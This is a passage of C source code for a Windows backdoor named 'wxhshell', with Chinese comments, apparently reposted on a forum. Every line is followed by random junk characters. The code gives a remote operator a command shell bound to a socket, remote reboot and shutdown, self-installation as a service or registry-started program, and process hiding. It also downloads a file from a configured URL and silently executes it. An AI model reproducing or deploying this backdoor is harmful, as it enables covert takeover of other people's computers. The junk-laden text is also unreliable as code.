      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); > &tmdE  
    break; (.^KuXd  
  } \I"n~h^_  
  // 安装 bWv2*XC  
  case 'i': { *5m4 j=-  
    if(Install()) Z}$wvd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~T">)Y~+xI  
    else (J} tCqP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E?v:7p<  
    break; /#TtAkH  
    } Bre:_>*  
  // 卸载 C)hS^D:  
  case 'r': { Bc&Y[u-n  
    if(Uninstall()) J@$KF GUs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = Zi'L48  
    else 1#}}:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xe`SnJgA  
    break; >W>3w  
    } o4P>t2'  
  // 显示 wxhshell 所在路径 &uP,w#  
  case 'p': { eU(cn8/}  
    char svExeFile[MAX_PATH]; zpgRK4p,I"  
    strcpy(svExeFile,"\n\r"); xaI)d/  
      strcat(svExeFile,ExeFile); .:r l<.  
        send(wsh,svExeFile,strlen(svExeFile),0); [$]qJ~kz  
    break; @}\wec_   
    } iewwL7  
  // 重启 pmfL}Dn  
  case 'b': { FIu|eW+<l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f9$8$O  
    if(Boot(REBOOT)) o*_arzhA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Be;l!]i  
    else { Y+)qb);  
    closesocket(wsh); NWue;u^  
    ExitThread(0); L NS O]\  
    } #V9do>Cu%  
    break; F,}7rhY(U^  
    } '"C& dia  
  // 关机 W>y >  
  case 'd': { Bi-x gq'z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .VXadgM  
    if(Boot(SHUTDOWN)) pd dumbp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %1\~OnT  
    else { #kQ1,P6,(  
    closesocket(wsh); >lkjoEVQ  
    ExitThread(0); /JjSx/  
    } H"NBjVRU%  
    break; JCjV,  
    } cB0"vbdO  
  // 获取shell -J":'xCP!  
  case 's': { Lrjp  
    CmdShell(wsh); z"\<GmvB  
    closesocket(wsh); k 5gvo  
    ExitThread(0); p54 e'Zb  
    break; Lo*vt42{4  
  } q"0_Px9P  
  // 退出 ^Ycn&`s  
  case 'x': { v`&>m '  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4D)M_O  
    CloseIt(wsh); s{uSU1lQn  
    break; LkyT4HC8n  
    } sW]>#e  
  // 离开 kF-7OX0)  
  case 'q': { o%E-K=a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E>c*A40=.n  
    closesocket(wsh); pnpf/T{xpM  
    WSACleanup(); R+# g_"1@p  
    exit(1); +!/pzoWpE  
    break; BD2Gv)?g  
        } d1}cXSQ1T  
  } >)t-Zh:n  
  } |U`A So  
ST1;i5   
  // 提示信息 >@tJ7m M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "G!,gtA~  
} 7*eIs2aY  
  } _ |G') 9  
LS/ZZAN u  
  return; 8a;;MJ)  
} .R^q$U~v3  
t=IM"ZgfL  
// shell模块句柄 0ZJrK\K;  
int CmdShell(SOCKET sock) 6m0- he~  
{ 9Xe|*bT  
STARTUPINFO si; af_b G;  
ZeroMemory(&si,sizeof(si)); QfV:&b`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %Vb~}sT:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zP>=K  
PROCESS_INFORMATION ProcessInfo; 04c`7[  
char cmdline[]="cmd"; 0zpA<"S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =>*9"k%m  
  return 0; LIRL`xU7  
} ~.E r  
\iH\N/  
// 自身启动模式 ^Sc48iDc  
int StartFromService(void) OzV|z/R2'  
{ r!c7{6N  
typedef struct GrA}T`]  
{ #]2,1dJ  
  DWORD ExitStatus; RY}:&vWDk  
  DWORD PebBaseAddress; ob K6GG?ZE  
  DWORD AffinityMask; 4oPr|OKj{*  
  DWORD BasePriority; P\3H<?@4  
  ULONG UniqueProcessId; NKYHJf2?x  
  ULONG InheritedFromUniqueProcessId; QV8;c^EZ  
}   PROCESS_BASIC_INFORMATION; DI\^&F)3T2  
& &:ZY4`  
PROCNTQSIP NtQueryInformationProcess; }LwKi-G?  
/Z2 g >  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; snVeOe#'S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oz'^.+uvE  
m }\L i]  
  HANDLE             hProcess; MC_i"P6a  
  PROCESS_BASIC_INFORMATION pbi; eY\!}) 5  
5N[H@%>QO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,-)ww:  
  if(NULL == hInst ) return 0; YH3[Jvzf4  
=k2"1f~e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  s x)x7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tC&jzN"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |DUOyQ  
Es&'c1$^s  
  if (!NtQueryInformationProcess) return 0; $yZ(ws  
|#5_VEG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); txix =  
  if(!hProcess) return 0; -v~XS-F  
O7xBMqMf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xL|4'8  
"uU[I,h  
  CloseHandle(hProcess); q;<Q-jr&O  
~2}^ -,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jO5We mqf  
if(hProcess==NULL) return 0; {%8=qJ3@  
E#`JH  
HMODULE hMod; { \5-b:#_  
char procName[255]; g?9%_&/})A  
unsigned long cbNeeded; JT*Pm"}  
~!ICBF~j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CW@G(R  
&\Yd)#B/  
  CloseHandle(hProcess); 8Og)(BC  
7WN$ rl5/  
if(strstr(procName,"services")) return 1; // 以服务启动 vW03nt86  
.KxE>lJbqM  
  return 0; // 注册表启动 sX#7;,Ft7  
} % ^&D,  
*Vp$#Rb  
// 主模块 D}K/5iU]a  
int StartWxhshell(LPSTR lpCmdLine) lPn&,\9@~  
{ V5]:^=  
  SOCKET wsl; 6EkD(w  
BOOL val=TRUE; 7.(vog"I)  
  int port=0; MKr:a]-'f~  
  struct sockaddr_in door;  DZ&AwF  
nXxSv~r  
  if(wscfg.ws_autoins) Install(); 5h>t4 [~  
/[Sy;wn  
port=atoi(lpCmdLine); UdX aC= Q  
OuU]A[r  
if(port<=0) port=wscfg.ws_port; ?r}!d2:dX  
FUKE.Uxd  
  WSADATA data; u^uo=/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9Jp "E5Ql)  
g# <M/qn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dWhF[q"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ujss?::`G  
  door.sin_family = AF_INET; ;AE%f.Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :]-? l4(%  
  door.sin_port = htons(port); AV?<D.<  
}S>:!9f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z,/y2H2  
closesocket(wsl); M ^~  
return 1; l%9nA.M'  
} b}jLI_R{  
U-GV^j  
  if(listen(wsl,2) == INVALID_SOCKET) { oxL4* bqZ  
closesocket(wsl); e3{L%rQE  
return 1; _Rnq5y  
} parC~)b_  
  Wxhshell(wsl); m#(ve1E  
  WSACleanup(); 8v']>5S]#  
U-3uT&m*9.  
return 0; X5eTj  
}lt]]094,  
} Ue0Q| h  
9C)w'\u9+  
// 以NT服务方式启动 i4oBi]$T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zc57]~  
{ 3a#j&]  
DWORD   status = 0; 4C_-MJI  
  DWORD   specificError = 0xfffffff; blA]z!FU  
L8j#l u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N^8 lfc$a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r&-I r3[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hDs.4MZC`  
  serviceStatus.dwWin32ExitCode     = 0; Kq`"}&0b\  
  serviceStatus.dwServiceSpecificExitCode = 0; !T 3 Esv  
  serviceStatus.dwCheckPoint       = 0; g_w4}!|  
  serviceStatus.dwWaitHint       = 0; s% ~p?_P   
MF^I] 7_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P=9Zm  
  if (hServiceStatusHandle==0) return; ^NTOZ0x~#  
T4{&@b 0*  
status = GetLastError(); CfnRcnms  
  if (status!=NO_ERROR) eX>X=Ku  
{ JSQ*8wDcl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .o5r;KD  
    serviceStatus.dwCheckPoint       = 0; o$r]Z1  
    serviceStatus.dwWaitHint       = 0; 1f1J'du  
    serviceStatus.dwWin32ExitCode     = status; <U$A_ ]*w  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,/g\;#:{@]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nNff~u)I  
    return; K*Tvo `  
  } (FAd'$lhX}  
6\9 9WQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d/OIc){tD  
  serviceStatus.dwCheckPoint       = 0; <WGl4#(k  
  serviceStatus.dwWaitHint       = 0; cnOk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -j_J 1P0,  
} 8}W06k>)%  
:1wMGk  
// 处理NT服务事件,比如:启动、停止 ?y{C"w!   
VOID WINAPI NTServiceHandler(DWORD fdwControl) N{G+|WmQ  
{ UI:{*N**Z  
switch(fdwControl) eMvb*X6  
{ Z qg(\  
case SERVICE_CONTROL_STOP: $|YIr7?R  
  serviceStatus.dwWin32ExitCode = 0; c#e_Fs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8EPV\M1%  
  serviceStatus.dwCheckPoint   = 0; ft[g1  
  serviceStatus.dwWaitHint     = 0; ^eEj 5Rh  
  { B"I> mw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {P#&e>)v{  
  } RfB""b8]=  
  return; =#<hT s  
case SERVICE_CONTROL_PAUSE: 'gojP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ QM  
  break; Al`[Iu&  
case SERVICE_CONTROL_CONTINUE: Ga%]$4u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "/?*F\5  
  break; [hS?d.D   
case SERVICE_CONTROL_INTERROGATE: v;;X2 a1k  
  break; V|.aud=7z  
}; E `)p,{T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #?i#q%q  
} y=\jQ6Fc  
Tc)T0dRP  
// 标准应用程序主函数 %f&(U/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) morI'6N  
{ | pp  @  
HJ5m5':a  
// 获取操作系统版本 lq_W;L  
OsIsNt=GetOsVer(); dTaR 8i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j78xMGKO  
GD'C^\E aZ  
  // 从命令行安装 .VmI4V?}h  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZjEO$ ts=@  
5 ^iU1\(L  
  // 下载执行文件 B<[;rk  
if(wscfg.ws_downexe) { E!VAA=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IO xj$?%l  
  WinExec(wscfg.ws_filenam,SW_HIDE); -& kQlr  
} KF'H|)!K  
*4qsM,t  
if(!OsIsNt) { -H`G6oMOO  
// 如果时win9x,隐藏进程并且设置为注册表启动 R\:C|/6f  
HideProc(); _:'m/K3Ee  
StartWxhshell(lpCmdLine); p^YE"2 -  
} FzpWT-jnDd  
else 0mj=\j  
  if(StartFromService()) i:kWO7aP  
  // 以服务方式启动 H]=3^g64  
  StartServiceCtrlDispatcher(DispatchTable); `CK;,>i   
else X{#@ :z$  
  // 普通方式启动 Ai->,<Ig]  
  StartWxhshell(lpCmdLine); MQY1he2M  
%T6#c7U_  
return 0; ''BP4=r5 n  
}
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只看该作者 1 发表于: 2006-10-10
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